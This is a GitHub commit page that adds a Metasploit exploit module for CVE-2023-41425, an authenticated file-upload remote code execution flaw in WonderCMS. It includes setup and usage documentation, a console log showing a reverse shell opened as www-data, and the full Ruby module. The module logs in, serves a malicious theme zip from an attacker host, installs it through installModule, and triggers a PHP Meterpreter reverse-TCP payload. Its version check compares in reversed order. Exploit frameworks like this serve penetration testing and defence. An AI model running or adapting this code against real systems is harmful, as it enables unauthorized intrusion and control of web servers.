Skip to content

Commit 0f22a18

Browse files
authored
Merge pull request rapid7#20081 from msutovsky-r7/exploit/wondercms-rce
Adds module for CVE-2023-41425 WonderCMS RCE
2 parents 35ecb89 + 1f650b0 commit 0f22a18

File tree

2 files changed

+239
-0
lines changed

2 files changed

+239
-0
lines changed
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
## Vulnerable Application
2+
3+
[WonderCMS](https://www.wondercms.com/) is a free and open-source Content Management System (CMS). The main advantage is that only one PHP file controls the whole management. Follow next steps to install application:
4+
5+
### Source Installation
6+
1. Install Apache2 and PHP on server
7+
2. Download WonderCMS from [here](https://github.com/WonderCMS/wondercms/releases/download/3.4.2/wondercms-342.zip)
8+
3. Enable Apache2 Rewrite Engine: `sudo a2enmod rewrite`
9+
### Docker Installation
10+
1. Clone the following repo: `git clone https://github.com/mablanco/docker-wondercms.git`
11+
2. Inside the `Dockerfile` set the version to a vulnerable version: `ARG WONDERCMS_VERSION=3.4.0`
12+
3. Build the image: ` docker build -t 3.4.0 .`
13+
4. Run the container: `docker run -d -p 8980:80 --name wondercms 3.4.0`
14+
15+
16+
## Verification Steps
17+
18+
1. Install the application
19+
2. Start msfconsole
20+
3. Do: `use multi/http/wondercms_rce`
21+
4. Do: `set PASSWORD [password]`
22+
5. Do: `set RHOST [WonderCMS IP]
23+
6. Do: `set SRVHOST [attacker IP to host payload]`
24+
7. Do: `set LHOST [attacker IP]`
25+
8. Do: `set LPORT [attacker PORT]`
26+
9. Do: `run`
27+
10. You should get a shell.
28+
29+
## Options
30+
31+
### PASSWORD
32+
33+
WonderCMS uses a global password that generated at the application's first run. This is global admin password that controls the whole CMS. This password has to be used in the exploit to get authenticated access.
34+
35+
## Scenarios
36+
37+
```
38+
msf6 exploit(multi/http/wondercms_rce) > set LHOST 192.168.168.152
39+
LHOST => 192.168.168.152
40+
msf6 exploit(multi/http/wondercms_rce) > set LPORT 4444
41+
LPORT => 4444
42+
msf6 exploit(multi/http/wondercms_rce) > exploit
43+
[*] Exploit running as background job 28.
44+
[*] Exploit completed, but no session was created.
45+
msf6 exploit(multi/http/wondercms_rce) >
46+
[*] Started reverse TCP handler on 192.168.168.152:4444
47+
[*] Running automatic check ("set AutoCheck false" to disable)
48+
[*] Target is probably WonderCMS..
49+
[+] The target is vulnerable. Version 3.4.2 is affected
50+
[*] Using URL: http://192.168.168.152:8082/81k4.zip
51+
[*] Received request, sending payload..
52+
[*] Server stopped.
53+
[*] Command shell session 5 opened (192.168.168.152:4444 -> 192.168.168.146:37068) at 2025-04-25 14:46:20 +0200
54+
55+
msf6 exploit(multi/http/wondercms_rce) > sessions 5
56+
[*] Starting interaction with 5...
57+
58+
whoami
59+
www-data
60+
id
61+
uid=33(www-data) gid=33(www-data) groups=33(www-data)
62+
```
63+
Lines changed: 176 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,176 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'rex/zip'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpServer
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::FileDropper
14+
prepend Msf::Exploit::Remote::AutoCheck
15+
16+
def initialize(info = {})
17+
super(
18+
update_info(
19+
info,
20+
'Name' => 'WonderCMS Remote Code Execution',
21+
'Description' => %q{
22+
This module exploits CVE-2023-41425, an authenticated file upload vulnerability affecting WonderCMS between 3.2.0 and 3.4.2.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' => [
26+
'msutovsky-r7', # msf module
27+
'Milad "Ex3ptionaL" Karimi' # original exploit
28+
],
29+
'References' => [
30+
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-41425'],
31+
[ 'URL', 'https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413'],
32+
[ 'CVE', '2023-41425'],
33+
[ 'EDB', '52271']
34+
],
35+
'Targets' => [
36+
[
37+
'PHP',
38+
{
39+
'Platform' => ['php'],
40+
'Arch' => ARCH_PHP,
41+
'Type' => :php,
42+
'DefaultOptions' => {
43+
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
44+
}
45+
}
46+
]
47+
],
48+
'DisclosureDate' => '2023-11-07',
49+
'DefaultTarget' => 0,
50+
'Notes' => {
51+
'Stability' => [CRASH_SAFE],
52+
'Reliability' => [REPEATABLE_SESSION],
53+
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
54+
}
55+
)
56+
)
57+
58+
register_options([
59+
OptString.new('TARGETURI', [true, 'Path to the WonderCMS application', '/wondercms']),
60+
OptString.new('PASSWORD', [true, 'Password to log into WonderCMS', '']),
61+
OptBool.new('CLEANUP', [false, 'Enable payload file cleanup', true])
62+
])
63+
end
64+
65+
def login
66+
return if @logged_in
67+
68+
res = send_request_cgi({
69+
'method' => 'POST',
70+
'uri' => normalize_uri(target_uri.path, '/loginURL'),
71+
'keep_cookies' => true,
72+
'vars_post' => {
73+
'password' => datastore['PASSWORD']
74+
}
75+
})
76+
77+
fail_with(Failure::NoAccess, 'Incorrect credentials') unless res&.code == 302 && !res.headers&.fetch('Location', '')&.include?('loginURL')
78+
79+
@logged_in = true
80+
end
81+
82+
def check
83+
res = send_request_cgi({
84+
'method' => 'GET',
85+
'uri' => normalize_uri(target_uri.path, '/how-to')
86+
})
87+
return Exploit::CheckCode::Unknown('Cannot connect to the remote host') unless res&.code == 200
88+
89+
return Exploit::CheckCode::Safe('WonderCMS was not detected') unless res.body&.include?('WonderCMS')
90+
91+
vprint_status('Target is probably WonderCMS..')
92+
93+
login
94+
95+
res = send_request_cgi!({
96+
'method' => 'GET',
97+
'uri' => normalize_uri(target_uri.path)
98+
})
99+
100+
return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200
101+
102+
html_document = res.get_html_document
103+
104+
html_document.xpath('//a[@href="https://wondercms.com"]').find { |link| link.text =~ /WonderCMS (\d.\d?\d?.\d?\d?)/ }
105+
106+
version = Rex::Version.new(Regexp.last_match(1))
107+
108+
return Exploit::CheckCode::Unknown('Unable to get version') unless version
109+
110+
return Msf::Exploit::CheckCode::Safe("WonderCMS #{version} is not affected") if version.between?(Rex::Version.new('3.4.2'), Rex::Version.new('3.2.0'))
111+
112+
return Exploit::CheckCode::Vulnerable("Version #{version} is affected")
113+
end
114+
115+
def create_vulnerable_zip
116+
@payload_filename = "#{Rex::Text.rand_text_alphanumeric(3..12)}.php"
117+
files =
118+
[
119+
{ data: payload.encoded, fname: @payload_filename }
120+
]
121+
122+
@vuln_zip = Msf::Util::EXE.to_zip(files)
123+
register_file_for_cleanup(@payload_filename) if datastore['CLEANUP']
124+
end
125+
126+
def on_request_uri(cli, _request)
127+
print_status('Received request, sending payload..')
128+
send_response(cli, @vuln_zip)
129+
end
130+
131+
def install_malicious_component
132+
res = send_request_cgi!({
133+
'method' => 'GET',
134+
'uri' => normalize_uri(target_uri.path)
135+
})
136+
137+
return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200
138+
139+
html_document = res.get_html_document
140+
@token = html_document.at("input[@name='token']").attributes.fetch('value', nil)
141+
142+
return Exploit::CheckCode::Unknown('Failed to get token') unless @token
143+
144+
send_request_cgi!({
145+
'method' => 'GET',
146+
'uri' => normalize_uri(target_uri.path, "/?installModule=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@zip_filename}&directoryName=#{Rex::Text.rand_text_alphanumeric(1..8)}&type=themes&token=#{@token}")
147+
})
148+
end
149+
150+
def exploit
151+
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
152+
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
153+
end
154+
155+
login
156+
157+
create_vulnerable_zip
158+
159+
@zip_filename = "#{Rex::Text.rand_text_alphanumeric(4..8)}.zip"
160+
start_service({
161+
'Uri' => {
162+
'Proc' => proc do |cli, req|
163+
on_request_uri(cli, req)
164+
end,
165+
'Path' => "/#{@zip_filename}"
166+
}
167+
})
168+
169+
install_malicious_component
170+
171+
send_request_cgi!({
172+
'method' => 'GET',
173+
'uri' => normalize_uri(target_uri.path, "/themes/#{@payload_filename}")
174+
})
175+
end
176+
end

0 commit comments

Comments
 (0)